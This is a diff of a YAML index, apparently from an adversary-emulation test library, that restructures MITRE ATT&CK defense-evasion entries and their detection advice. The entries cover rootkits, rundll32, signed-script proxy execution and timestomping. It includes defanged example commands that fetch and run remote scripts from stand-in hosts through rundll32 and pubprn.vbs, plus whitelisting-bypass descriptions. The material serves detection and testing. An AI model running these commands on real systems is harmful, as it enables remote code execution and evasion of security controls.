url: https://attack.mitre.org/wiki/Technique/T1014 + - external_id: T1014 + url: https://attack.mitre.org/techniques/T1014 source_name: mitre-attack - external_id: T1014 - - description: Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016. + - url: https://en.wikipedia.org/wiki/Rootkit + description: Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016. source_name: Wikipedia Rootkit - url: https://en.wikipedia.org/wiki/Rootkit - - description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December - 21, 2017. - source_name: Symantec Windows Rootkits - url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf - - description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. + - url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ + description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017. source_name: CrowdStrike Linux Rootkit - url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ - - description: 'Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit + - url: http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf + description: 'Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit uses the tricks you haven''t known yet. Retrieved December 21, 2017.' source_name: BlackHat Mac OSX Rootkit - url: http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf + - url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf + description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December + 21, 2017. + source_name: Symantec Windows Rootkits object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:26.496Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - BIOS - MBR - System calls x_mitre_defense_bypassed: - - Anti-virus - File monitoring - Host intrusion prevention systems - Process whitelisting - Signature-based detection - System access controls - Whitelisting by file name or path + - Anti-virus + x_mitre_detection: 'Some rootkit protections may be built into anti-virus or + operating system software. There are dedicated rootkit detection tools that + look for specific types of rootkit behavior. Monitor for the existence of + unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia + Rootkit)' x_mitre_permissions_required: - Administrator - SYSTEM - root - id: attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:26.496Z' identifier: T1014 atomic_tests: - name: Loadable Kernel Module based Rootkit @@ -7163,6 +7286,8 @@ defense-evasion: ' T1085: technique: + id: attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Rundll32 description: |- The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations. @@ -7170,60 +7295,51 @@ defense-evasion: Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL) Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion) - - Detection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. - - Platforms: Windows - - Data Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring - - Defense Bypassed: Anti-virus, Application whitelisting - - Permissions Required: User - - Remote Support: No - - Contributors: Ricardo Dias, Casey Smith - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution external_references: - - url: https://attack.mitre.org/wiki/Technique/T1085 + - external_id: T1085 + url: https://attack.mitre.org/techniques/T1085 source_name: mitre-attack - external_id: T1085 - - description: Merces, F. (2014). CPL Malware Malicious Control Panel Items. + - url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf + description: Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017. source_name: Trend Micro CPL - url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf - - description: B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. + - url: https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/ + description: B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018. source_name: This is Security Command Line Confusion - url: https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:06.045Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - - Binary file metadata - - Process command-line parameters - Process monitoring + - Process command-line parameters + - Binary file metadata + x_mitre_contributors: + - Ricardo Dias + - Casey Smith x_mitre_defense_bypassed: - Anti-virus - Application whitelisting + x_mitre_detection: Use process monitoring to monitor the execution and arguments + of rundll32.exe. Compare recent invocations of rundll32.exe with prior history + of known good arguments and loaded DLLs to determine anomalous and potentially + adversarial activity. Command arguments used with the rundll32.exe invocation + may also be useful in determining the origin and purpose of the DLL being + loaded. x_mitre_permissions_required: - User x_mitre_remote_support: false - x_mitre_contributors: - - Ricardo Dias - - Casey Smith - id: attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:06.045Z' identifier: T1085 atomic_tests: - name: Rundll32 execute JavaScript Remote Payload With GetObject @@ -7244,61 +7360,39 @@ defense-evasion: ' T1064: technique: + id: attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Scripting description: |- Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts. - Scripts can be embedded inside Office documents as macros that can be set to execute when files used in Spearphishing Attachment and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through Exploitation for Client Execution, where adversaries will rely on macos being allowed or that the user will accept to activate them. - - Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. (Citation: Metasploit) (Citation: Metasploit), (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014) - - Detection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. - - Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. - - Analyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as word.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents) - - Platforms: Linux, macOS, Windows - - Data Sources: Process monitoring, File monitoring, Process command-line parameters - - Defense Bypassed: Process whitelisting, Data Execution Prevention, Exploit Prevention + Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macos being allowed or that the user will accept to activate them. - Permissions Required: User - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution + Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. (Citation: Metasploit) (Citation: Metasploit), (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1064 + - external_id: T1064 + url: https://attack.mitre.org/techniques/T1064 source_name: mitre-attack - external_id: T1064 - - description: Metasploit. (n.d.). Retrieved December 4, 2014. + - url: https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/ + description: 'Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting + of National Security Think Tanks. Retrieved November 12, 2014.' + source_name: Alperovitch 2014 + - url: http://www.metasploit.com + description: Metasploit. (n.d.). Retrieved December 4, 2014. source_name: Metasploit - url: http://www.metasploit.com - - description: Veil Framework. (n.d.). Retrieved December 4, 2014. + - url: https://www.veil-framework.com/framework/ + description: Veil Framework. (n.d.). Retrieved December 4, 2014. source_name: Veil - url: https://www.veil-framework.com/framework/ - - description: PowerSploit. (n.d.). Retrieved December 4, 2014. + - url: https://github.com/mattifestation/PowerSploit + description: PowerSploit. (n.d.). Retrieved December 4, 2014. source_name: Powersploit - url: https://github.com/mattifestation/PowerSploit - - description: 'Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting - of National Security Think Tanks. Retrieved November 12, 2014.' - source_name: Alperovitch 2014 - url: https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/ - - description: Felix. (2016, September). Analyzing Malicious Office Documents. + - url: https://www.uperesia.com/analyzing-malicious-office-documents + description: Felix. (2016, September). Analyzing Malicious Office Documents. Retrieved April 11, 2018. source_name: Uperesia Malicious Office Documents - url: https://www.uperesia.com/analyzing-malicious-office-documents object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:51.733Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Process monitoring - File monitoring @@ -7307,11 +7401,26 @@ defense-evasion: - Process whitelisting - Data Execution Prevention - Exploit Prevention + x_mitre_detection: |- + Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. + + Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. + + Analyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents) x_mitre_permissions_required: - User - id: attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:51.733Z' identifier: T1064 atomic_tests: - name: Create and Execute Bash Shell Script @@ -7330,64 +7439,54 @@ defense-evasion: sh /tmp/art.sh T1216: technique: + id: attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Signed Script Proxy Execution description: |- Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts. - PubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: cscript C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png + PubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png There are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List) - - Detection: Monitor script processes, such as cscript, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files. - - Platforms: Windows - - Data Sources: Process monitoring, Process command-line parameters - - Defense Bypassed: Application whitelisting, Digital Certificate Validation - - Permissions Required: User - - Remote Support: No - - Contributors: Praetorian - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution external_references: - - url: https://attack.mitre.org/wiki/Technique/T1216 + - external_id: T1216 + url: https://attack.mitre.org/techniques/T1216 source_name: mitre-attack - external_id: T1216 - - description: 'Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved + - url: https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/ + description: 'Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.' source_name: Enigma0x3 PubPrn Bypass - url: https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/ - - description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved + - url: https://github.com/api0cradle/UltimateAppLockerByPassList + description: Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018. source_name: GitHub Ultimate AppLocker Bypass List - url: https://github.com/api0cradle/UltimateAppLockerByPassList object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2018-04-18T17:59:24.739Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Process monitoring - Process command-line parameters + x_mitre_contributors: + - Praetorian x_mitre_defense_bypassed: - Application whitelisting - Digital Certificate Validation + x_mitre_detection: Monitor script processes, such as cscript, and command-line + parameters for scripts like PubPrn.vbs that may be used to proxy execution + of malicious files. x_mitre_permissions_required: - User x_mitre_remote_support: false - x_mitre_contributors: - - Praetorian - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern - id: attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2018-04-18T17:59:24.739Z' identifier: T1216 atomic_tests: - name: PubPrn.vbs Signed Script Bypass @@ -7410,6 +7509,8 @@ defense-evasion: ' T1151: technique: + id: attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Space after Filename description: "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work @@ -7423,44 +7524,41 @@ defense-evasion: the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files - of any format and ultimately executing something malicious.\n\nDetection: - It's not common for spaces to be at the end of filenames, so this is something - that can easily be checked with file monitoring. From the user's perspective - though, this is very hard to notice from within the Finder.app or on the command-line - in Terminal.app. Processes executed from binaries containing non-standard - extensions in the filename are suspicious.\n\nPlatforms: Linux, macOS\n\nData - Sources: File monitoring, Process Monitoring\n\nPermissions Required: User\n\nContributors: - Erye Hernandez, Palo Alto Networks" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution + of any format and ultimately executing something malicious." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1151 + - external_id: T1151 + url: https://attack.mitre.org/techniques/T1151 source_name: mitre-attack - external_id: T1151 - - description: Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors + - url: https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/ + description: Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017. source_name: Mac Backdoors are back - url: https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-12-14T16:46:06.044Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_version: '1.0' + x_mitre_data_sources: + - File monitoring + - Process monitoring + x_mitre_contributors: + - Erye Hernandez, Palo Alto Networks + x_mitre_detection: It's not common for spaces to be at the end of filenames, + so this is something that can easily be checked with file monitoring. From + the user's perspective though, this is very hard to notice from within the + Finder.app or on the command-line in Terminal.app. Processes executed from + binaries containing non-standard extensions in the filename are suspicious. x_mitre_platforms: - Linux - macOS - x_mitre_data_sources: - - File monitoring - - Process Monitoring x_mitre_permissions_required: - User - x_mitre_contributors: - - Erye Hernandez, Palo Alto Networks - id: attack-pattern--e2907cea-4b43-4ed7-a570-0fdf0fbeea00 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + - phase_name: execution + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1151 atomic_tests: - name: Space After Filename @@ -7476,50 +7574,50 @@ defense-evasion: \"\n\n3. ./execute.txt\\ \n" T1099: technique: + id: attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Timestomp - description: |- - Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques) - - Detection: Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values. - - Platforms: Linux, Windows - - Data Sources: File monitoring, Process monitoring, Process command-line parameters - - Defense Bypassed: Host forensic analysis - - Permissions Required: User, Administrator, SYSTEM - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion + description: 'Timestomping is a technique that modifies the timestamps of a + file (the modify, access, create, and change times), often to mimic files + that are in the same folder. This is done, for example, on files that have + been modified or created by the adversary so that they do not appear conspicuous + to forensic investigators or file analysis tools. Timestomping may be used + along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) + to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)' external_references: - - url: https://attack.mitre.org/wiki/Technique/T1099 + - external_id: T1099 + url: https://attack.mitre.org/techniques/T1099 source_name: mitre-attack - external_id: T1099 - - description: 'Carvey, H. (2013, July 23). HowTo: Determine/Detect the use + - url: http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html + description: 'Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.' source_name: WindowsIR Anti-Forensic Techniques - url: http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:12.675Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - Process monitoring - Process command-line parameters + x_mitre_detection: 'Forensic techniques exist to detect aspects of files that + have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) + It may be possible to detect timestomping using file modification monitoring + that collects information on file handle opens and can compare timestamp values.' x_mitre_defense_bypassed: - Host forensic analysis + x_mitre_platforms: + - Linux + - Windows x_mitre_permissions_required: - User - Administrator - SYSTEM - id: attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: defense-evasion + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:12.675Z' identifier: T1099 atomic_tests: - name: Set a file's access timestamp @@ -7580,13 +7678,15 @@ defense-evasion: stat #{target_filename} T1127: technique: + id: attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Trusted Developer Utilities description: "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application - whitelisting defensive solutions.\n\n===MSBuild===\n\nMSBuild.exe (Microsoft + whitelisting defensive solutions.\n\n### MSBuild\n\nMSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can @@ -7597,128 +7697,115 @@ defense-evasion: MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: SubTee GitHub All The - Things Application Whitelisting Bypass)\n\n===DNX===\n\nThe .NET Execution - Environment (DNX), dnx.exe, is a software development kit packaged with Visual - Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: - Microsoft Migrating from DNX) DNX is not present on standard builds of Windows - and may only be present on developer workstations using older versions of - .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. - \n\nAn adversary can use dnx.exe to proxy execution of arbitrary code to bypass - application whitelist policies that do not account for DNX. (Citation: engima0x3 - DNX Bypass)\n\n===RCSI===\n\nThe rcsi.exe utility is a non-interactive command-line - interface for C# that is similar to csi.exe. It was provided within an early - version of the Roslyn .NET Compiler Platform but has since been deprecated - for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe - binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)\n\nC# .csx - script files can be written and executed with rcsi.exe at the command-line. - An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass - application whitelisting policies that do not account for execution of rcsi.exe. - (Citation: engima0x3 RCSI Bypass)\n\n===WinDbg/CDB===\n\nWinDbg is a Microsoft - Windows kernel and user-mode debugging utility. The Microsoft Console Debugger - (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows - software development kits and can be used as standalone tools. (Citation: - Microsoft Debugging Tools for Windows) They are commonly used in software - development and reverse engineering and may not be found on typical Windows - systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn - adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code - to bypass application whitelist policies that do not account for execution - of those utilities. (Citation: Exploit Monday WinDbg)\n\nIt is likely possible - to use other debuggers for similar purposes, such as the kernel-mode debugger - kd.exe, which is also signed by Microsoft.\n\n===Tracker===\n\nThe file tracker - utility, tracker.exe, is included with the .NET framework as part of MSBuild. - It is used for logging calls to the Windows file system. (Citation: Microsoft - Docs File Tracking)\n\nAn adversary can use tracker.exe to proxy execution - of an arbitrary DLL into another process. Since tracker.exe is also signed - it can be used to bypass application whitelisting solutions. (Citation: Twitter - SubTee Tracker.exe)\n\nDetection: The presence of these or other utilities - that enable proxy execution that are typically used for development, debugging, - and reverse engineering on a system that is not used for these purposes may - be suspicious.\n\nUse process monitoring to monitor the execution and arguments - of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare - recent invocations of those binaries with prior history of known good arguments - and executed binaries to determine anomalous and potentially adversarial activity. - It is likely that these utilities will be used by software developers or for - other software development related tasks, so if it exists and is used outside - of that context, then the event may be suspicious. Command arguments used - before and after invocation of the utilities may also be useful in determining - the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData - Sources: Process monitoring\n\nDefense Bypassed: Application whitelisting\n\nPermissions - Required: User\n\nSystem Requirements: MSBuild: .NET Framework version 4 or - higher\nDNX: .NET 4.5.2, Powershell 4.0\nRCSI: .NET 4.5 or later, Visual Studio - 2012\n\nRemote Support: No\n\nContributors: Casey Smith, Matthew Demaske, - Adaptforward" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: defense-evasion - - kill_chain_name: mitre-attack - phase_name: execution + Things Application Whitelisting Bypass)\n\n### DNX\n\nThe .NET Execution Environment + (DNX), dnx.exe, is a software development kit packaged with Visual Studio + Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft + Migrating from DNX) DNX is not present on standard builds of Windows and may + only be present on developer workstations using older versions of .NET Core + and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn + adversary can use dnx.exe to proxy execution of arbitrary code to bypass application + whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)\n\n### + RCSI\n\nThe rcsi.exe utility is a non-interactive command-line interface for + C# that is similar to csi.exe. It was provided within an early version of + the Roslyn .NET Compiler Platform but has since been deprecated for an integrated + solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed + by Microsoft. (Citation: engima0x3 RCSI Bypass)\n\nC# .csx script files can + be written and executed with rcsi.exe at the command-line. An adversary can + use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting + policies that do not account for execution of rcsi.exe. (Citation: engima0x3 + RCSI Bypass)\n\n### WinDbg/CDB\n\nWinDbg is a Microsoft Windows kernel and + user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe + is also user-mode debugger. Both utilities are included in Windows software + development kits and can be used as standalone tools. (Citation: Microsoft + Debugging Tools for Windows) They are commonly used in software development + and reverse engineering and may not be found on typical Windows systems. Both + WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can + use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass + application whitelist policies that do not account for execution of those + utilities. (Citation: Exploit Monday WinDbg)\n\nIt is likely possible to use + other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, + which is also signed by Microsoft.\n\n### Tracker\n\nThe file tracker utility, + tracker.exe, is included with the .NET framework as part of MSBuild. It is + used for logging calls to the Windows file system. (Citation: Microsoft Docs + File Tracking)\n\nAn adversary can use tracker.exe to proxy execution of an + arbitrary DLL into another process. Since tracker.exe is also signed it can + be used to bypass application whitelisting solutions. (Citation: Twitter SubTee + Tracker.exe)" external_references: - - url: https://attack.mitre.org/wiki/Technique/T1127 + - external_id: T1127 + url: https://attack.mitre.org/techniques/T1127 source_name: mitre-attack - external_id: T1127 - - description: Graeber, M. (2016, August 15). Bypassing Application Whitelisting - by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017. - source_name: Exploit Monday WinDbg - url: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html - - description: Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016. + - url: https://msdn.microsoft.com/library/dd393574.aspx + description: Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016. source_name: MSDN MSBuild - url: https://msdn.microsoft.com/library/dd393574.aspx - - description: Marshall, D. (2017, May 23). Debugging Tools for Windows (WinDbg, - KD, CDB, NTSD). Retrieved June 29, 2017. - source_name: Microsoft Debugging Tools for Windows - url: https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index - - description: B, M., Brown, K., Cai, S., Hogenson, G., Warren, G. (2016, November - 4). File Tracking. Retrieved November 1, 2017. - source_name: Microsoft Docs File Tracking - url: https://docs.microsoft.com/visualstudio/msbuild/file-tracking - - description: Knezevic, Z., Wenzel, M. Latham, L. (2016, June 20). Migrating + - url: https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx + description: Knezevic, Z., Wenzel, M. Latham, L. (2016, June 20). Migrating from DNX to .NET Core CLI (project.json). Retrieved June 28, 2017. source_name: Microsoft Migrating from DNX - url: https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx - - description: Osenkov, 